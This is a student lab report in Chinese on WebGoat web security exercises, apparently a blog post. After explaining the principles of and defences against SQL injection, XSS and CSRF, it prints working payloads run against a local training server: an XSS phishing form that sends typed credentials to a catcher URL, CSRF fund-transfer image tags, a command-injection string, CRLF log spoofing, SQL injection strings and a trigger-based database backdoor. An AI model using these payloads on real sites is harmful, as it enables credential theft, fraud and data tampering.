20145222何志威《网络对抗》- Web安全基础实践
20145322何志威《网络对抗》Exp9 Web安全基础实践
基础问题回答
1、SQL注入原理,如何防御
SQL注入
就是通过把SQL命令插入到“Web表单递交”或“输入域名”或“页面请求”的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
防御
通过正则表达式,或限制长度,对用户的输入进行校验等。
不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
不把机密信息明文存放,请加密或者hash掉密码和敏感的信息。
应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。
2、XSS攻击的原理,如何防御
原理:在Web页面里插入恶意Script代码,当用户浏览网页时,嵌入其中Web里面的Script代码会被执行,一个看似安全的网页却有可能盗取用户的cookies,或者登录名密码等信息。
防御
在输入方面对用户提交的的内容进行可靠的输入验证。
可以对输入的地方进行输入字数控制
脚本执行区,禁止输入。
3、CSRF攻击原理,如何防御
我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。而CSRF是借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。
对于CSRF的防御也可以从以下几个方面入手:
通过referer、token或者验证码来检测用户提交;
尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作;
避免全站通用的cookie,严格设置cookie的域。
WebGoat
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入等,我们本次的实验就是在WebGoat平台上进行。
WebGoat分为简单版和开发板,简单版是个Java的Jar包,只需要有Java环境即可,我们在命令行里执行:
java -jar webgoat-container-7.0.1-war-exec.jar
运行WebGoat
- WebGoat使用8080端口,所以在浏览器上访问
localhost:8080/WebGoat
,进入WebGoat之后,可以看到有很多题目来让我们进行练习。
Cross-Site Scripting(XSS)练习
Phishing with XSS
这个题目我们要在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,并且将这些信息发送给
http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
,完整的XSS攻击代码如下:</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单,如图所示:
- 输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:
- 攻击成功!
Stored XSS Attacks
我们的目标是要创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容,在上个实验中我们也做过,在message中输入一串代码
<script>alert("20145322 attack succeed!");</script>
提交后,再次点击刚刚创建的帖子,成功弹出窗口,说明攻击成功:
Reflected XSS Attacks
当我们输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展示给我们看:
这时如果我们将带有攻击性的URL作为输入源,例如依旧输入
<script>alert("5322 attack succeed!");</script>
,就会弹出对话框:
- 虽然这个效果和上一个存储型XSS实验的效果类似,但是两者所用的原理不一样,存储型XSS是持久化的,代码是存储在服务器中,比较典型的例子就是上面所用的留言板,而这个实验中用的是反射型XSS攻击是非持久化的,应用的场景比如欺骗用户自己去点击链接才能触发XSS代码,也就是说它的代码是不存在服务器中的,所以一般来说存储型XSS攻击危害更大。
Cross Site Request Forgery(CSRF)
我们的目的是要写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
我们在message框中输入这样一串代码:
<img src="http://localhost:8080/WebGoat/attack?Screen=286&menu=900&transferFunds=4000"/>
,注意这里面的Screen和menu的值每个人的电脑可能不一样,可以在Parameters进行查看
- 提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的4000元,从而达到CSRF攻击的目的。
CSRF Prompt By-Pass
我们依旧和上一个一样要构造CSRF攻击,不过这次其包括了两个请求,一是转账请求,二是确认转账成功请求,即需要额外传递两个参数给服务器(transferFunds=4000,transferFunds=CONFIRM)
一开始我是直接在message中写入了攻击代码,但是没有成功,于是我换了一种方法,先在浏览器中手动输入URL:
localhost:8080/WebGoat/attack?Screen=269&menu=900&transferFunds=5000
进入确认转账请求页面:
之后看了一下网页的源代码,发现transferFunds的值变成了CONFIRM:
于是点击了
CONFIRM
按钮之后,再在浏览器中输入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM
,成功转走了5000元:
Injection Flaws练习
Command Injection
这个题是要求能够在目标主机上执行系统命令,我们可以通过火狐浏览器下的一个扩展Firebug对源代码进行修改,例如在
BackDoors.help
旁边加上"& netstat -an & ipconfig"
:之后在下拉菜单中能看到我们修改后的值:
- 选中修改后的值再点
view
,可以看到命令被执行,出现系统网络连接情况:
Numeric SQL Injection
我们要通过注入SQL字符串的方式查看所有的天气数据,我们上次实验做过类似的,只要加上一个
1=1
这种永真式即可达到我们的目的,依旧利用firebug,在任意一个值比如101
旁边加上or 1=1
:选中
Columbia
,点Go
,可以看到所有天气数据:
Log Spoofing
我们输入的用户名会被追加到日志文件中,所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,在
User Name
文本框中输入rx%0d%0aLogin Succeeded for username: admin
,其中%0d是回车,%0a是换行符:如图所示,攻击成功:
String SQL Injection
- 还是和之前一样,基于select语句构造SQL注入字符串,在文本框中输入
' or 1=1 --
:
点Go
,攻击成功,所有用户信息都被显示出来:
LAB:SQL Injection(Stage 1:String SQL Injection)
- 以用户Neville登录,在密码栏中输入
' or 1=1 --
进行SQL注入,但是登录失败:
登录成功:
LAB:SQL Injection(Stage 3:Numeric SQL Injection)
我们还是用上一题的办法先以用户名Larry登录,登录之后看到浏览员工信息的按钮是
ViewProfile
:在网页代码中分析一下这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,一般来说老板的工资都应该是最高的,所以把其中的value值改为
101 or 1=1 order by salary desc --
,这样老板的信息就会被排到第一个:之后就可以查看到老板的信息:
Database Backdoors
- 先输一个101,得到了该用户的信息:
- 可以发现输入的语句没有验证,很容易进行SQL注入,输入注入语句:
101; update employee set salary=10000
,成功把该用户的工资更改为10000:
- 接下来使用语句
101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20145322@163.com' WHERE userid = NEW.userid
创建一个后门,把表中所有的邮箱和用户ID都设为我的:
20145222何志威《网络对抗》- Web安全基础实践的更多相关文章
- 20145334赵文豪网络对抗Web安全基础实践
1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...
- 2018-2019 20165221 网络对抗 Exp5 MSF基础
2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...
- 20145306 网路攻防 web安全基础实践
20145306 网络攻防 web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Reflected XSS At ...
- 20145211黄志远《网络对抗》Exp9 Web安全基础实践
20145211黄志远<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是利用输入的机会构造自己期望的请求,比如破坏掉用户名或者密码验 ...
- 20145222黄亚奇《网络对抗》web安全基础实践
web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 原理:指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语 ...
- 20155324《网络对抗技术》web安全基础实践
20155324<网络对抗技术>web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 实验问答 SQL注入攻击原理,如何防御 ①SQL注入攻击是攻击者在 ...
- 20155326《网络对抗》Web安全基础实践
20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...
- 20145203盖泽双 《网络对抗技术》实践九:Web安全基础实践
20145203盖泽双 <网络对抗技术>实践九:Web安全基础实践 1.实践目标 1.理解常用网络攻击技术的基本原理. 2.Webgoat下进行相关实验:SQL注入攻击.XSS攻击.CSR ...
- 20145236《网络对抗》Exp9 web安全基础实践
20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...
随机推荐
- oracle union 用法
[sql] view plaincopyprint?众所周知的几个结果集集合操作命令,今天详细地测试了一下,发现一些问题,记录备考. 假设我们有一个表Student,包括以下字段与数据: drop t ...
- web移动端开发经验总结
整理web移动端开发经验,部分内容借鉴于网上的博文. 1.meta标签 <meta name="viewport" content="width=device-wi ...
- 在django项目中自定义manage命令(转)
add by zhj 是我增加的注释 原文:http://www.cnblogs.com/holbrook/archive/2012/03/09/2387679.html 我们都用过Django的dj ...
- QQ公众号?是的,你没看错!
微信公众平台培育了800多万的微信公众号,自身也通过微信游戏.广告分销等找到了一些增值盈利模式.作为同门大师兄,qq也在11月份推出了QQ公众号,第一个手机QQ上的“生活服务号”——YTO圆通速递上线 ...
- Linuxer-"Linux开发人员自己的媒体"第五月稿件和赠书名单
版权声明:本文为博主原创文章.未经博主同意不得转载. https://blog.csdn.net/juS3Ve/article/details/78859630 Linuxer已经从一个单纯的读者服务 ...
- 002-redis-数据类型
Redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合). 使用桌面工具查看,默认有16个库,Redis支持多 ...
- 001-nginx基础配置-location
一.基础语法 Location block 的基本语法形式是: location [=|~|~*|^~|@] pattern { ... } [=|~|~*|^~|@] 被称作 location mo ...
- python类内部调用自己的成员函数必须加self
class A: def a(self): print("hello world") def b(self): return self.a() 上面的self.a()中self是不 ...
- [django实践]投票app
code: https://github.com/lannyMa/toupiao polls app介绍 这个例子来源于django官网,恰好2.x版本有中文版. https://docs.djang ...
- ZOJ:2833 Friendship(并查集+哈希)
http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemCode=2833 A friend is like a flower, a rose ...